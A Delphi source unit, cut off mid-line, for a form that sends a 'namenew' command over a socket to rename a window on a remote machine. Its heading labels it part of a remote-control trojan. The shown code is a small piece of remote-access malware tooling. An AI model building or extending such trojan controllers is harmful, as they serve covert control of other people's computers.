unitcambiartitulowindow.pas

远程控制辕马

unit UnitCambiarTituloWindow;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, Buttons, ScktComp;

type
  TFormCambiarTituloWindow = class(TForm)
    LabelHandle: TLabel;
    LabelTituloActual: TLabel;
    LabelNewTitulo: TLabel;
    BtnCambiarTitulo: TSpeedButton;
    LabelHandle02: TLabel;
    MemoTitulo: TMemo;
    EditTitulo: TEdit;
    procedure BtnCambiarTituloClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    Server: TCustomWinSocket;
    NewVentana: TFormCambiarTituloWindow;
  end;

var
  FormCambiarTituloWindow: TFormCambiarTituloWindow;

implementation

{$R *.dfm}

procedure TFormCambiarTituloWindow.BtnCambiarTituloClick(Sender: TObject);
begin
Server.SendText('namenew'+LabelHandle02.Caption+'